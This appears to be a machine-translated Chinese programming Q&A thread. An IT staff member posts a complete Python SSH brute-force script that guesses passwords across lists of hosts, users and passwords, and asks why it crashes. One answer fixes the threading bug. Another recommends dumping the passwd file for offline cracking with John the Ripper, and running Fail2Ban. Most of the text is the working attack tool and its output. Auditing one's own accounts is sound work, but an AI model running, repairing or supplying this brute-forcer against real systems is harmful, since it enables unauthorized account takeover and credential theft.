我不是一个python程序员,但我得到了一段完美的代码,但我需要修改它以循环文件并获取一些数据并执行相同的任务。显然它工作正常,但在第一行结束时它崩溃了这样:
python x.py -H SSH-Hosts.txt -U Users.txt -P passlist.txt
*************************************
*SSH Bruteforcer Ver. 0.2 *
*Coded by Christian Martorella *
*Edge-Security Research *
*laramies@gmail.com *
*************************************
Username file: Users.txt
Password file: passlist.txt
*************************************
HOST: 192.168.1.3
Username: bob
Trying password...
zzzzzz
Username: john
Trying password...
Traceback (most recent call last):
File "x.py", line 146, in <module>
test(sys.argv[1:])
File "x.py", line 139, in test
test_thread(name)
File "x.py", line 81, in test_thread
thread.join()
Zxcvbnm
该应用程序是一个测试弱SSH帐户的小工具,我们最近成为几个暴力攻击的目标,我们阻止了所有这些,但我们也想定期测试弱帐户,因为可用的应用程序(如作为美杜莎)崩溃我决定修改这个在我们的系统上工作正常的那个,但是每个主机和每个用户的用户传递主机对我们来说不太现实。这不是未经授权的测试,我是IT的成员,我们正在这样做以防止违规!
import thread
import time
from threading import Thread
import sys, os, threading, time, traceback, getopt
import paramiko
import terminal
global adx
global port
adx="1"
port=22
data=[]
i=[]
term = terminal.TerminalController()
paramiko.util.log_to_file('demo.log')
print "\n*************************************"
print "*"+term.RED + "SSH Bruteforcer Ver. 0.2"+term.NORMAL+" *"
print "*Coded by Christian Martorella *"
print "*Edge-Security Research *"
print "*laramies@gmail.com *"
print "*************************************\n"
def usage():
print "Usage: brutessh.py options \n"
print " -H: file with hosts\n"
print " -U: file with usernames\n"
print " -P: password file \n"
print " -p: port (default 22) \n"
print " -t: threads (default 12, more could be bad)\n\n"
print "Example: brutessh.py -h 192.168.1.55 -u root -d mypasswordlist.txt \n"
sys.exit()
class force(Thread):
def __init__( self, name ):
Thread.__init__(self)
self.name = name
def run(self):
global adx
if adx == "1":
passw=self.name.split("\n")[0]
t = paramiko.Transport(hostname)
try:
t.start_client()
except Exception:
x = 0
try:
t.auth_password(username=username,password=passw)
except Exception:
x = 0
if t.is_authenticated():
print term.DOWN + term.GREEN + "\nAuth OK ---> Password Found: " + passw + term.DOWN + term.NORMAL
t.close()
adx = "0"
else:
print term.BOL + term.UP + term.CLEAR_EOL + passw + term.NORMAL
t.close()
time.sleep(0)
i[0]=i[0]-1
def test_thread(names):
i.append(0)
j=0
while len(names):
try:
if i[0]<th:
n = names.pop(0)
i[0]=i[0]+1
thread=force(n)
thread.start()
j=j+1
except KeyboardInterrupt:
print "Attack suspended by user..\n"
sys.exit()
thread.join()
def test(argv):
global th
global hostname
global username
th = 12
if len(sys.argv) < 3:
usage()
try :
opts, args = getopt.getopt(argv,"H:U:P:p:t:")
except getopt.GetoptError:
usage()
for opt,arg in opts :
if opt == '-U':
username = arg
elif opt == '-H':
hostname =arg
elif opt == '-P':
password = arg
elif opt == '-p':
port = arg
elif opt == "-t":
th = arg
try:
h = open(hostname, 'r')
except:
print "Can't open file with hostnames\n"
sys.exit()
try:
u = open(username, "r")
except:
print "Can't open username file\n"
sys.exit()
try:
f = open(password, "r")
except:
print "Can't open password file\n"
sys.exit()
print term.RED + "Username file: " +term.NORMAL + username + "\n" +term.RED + "Password file: " +term.NORMAL+ password
print "*************************************\n\n"
hostfile = h.readlines()
for hostname in hostfile:
print "HOST: " + hostname.rstrip('\n')
userfile = u.readlines()
for username in userfile:
print "Username: " + username.rstrip('\n')
print "Trying password...\n"
name = f.readlines()
#starttime = time.clock()
test_thread(name)
#stoptime = time.clock()
#print "\nTimes -- > Init: "+ str(starttime) + " End: "+str(stoptime)
print "\n"
if __name__ == "__main__":
try:
test(sys.argv[1:])
except KeyboardInterrupt:
print "Attack suspended by user...\n"
sys.exit()
如何解决此问题?
谢谢。
答案 0 :(得分:1)
import thread
...
from threading import Thread
不确定为什么你决定导入两个名称几乎相同的类。看起来很危险!
我认为你需要Thread.join()而不是thread.join()因为线程有一个连接调用但是线程没有。
答案 1 :(得分:1)
由于您可以访问这些计算机,因此最好转储passwd文件并使用John the Ripper查找弱帐户。脱机密码攻击远比在线攻击快得多。您还应该考虑运行Fail2Ban或类似的东西,它会通过阻止滥用的IP自动阻止SSH暴力攻击。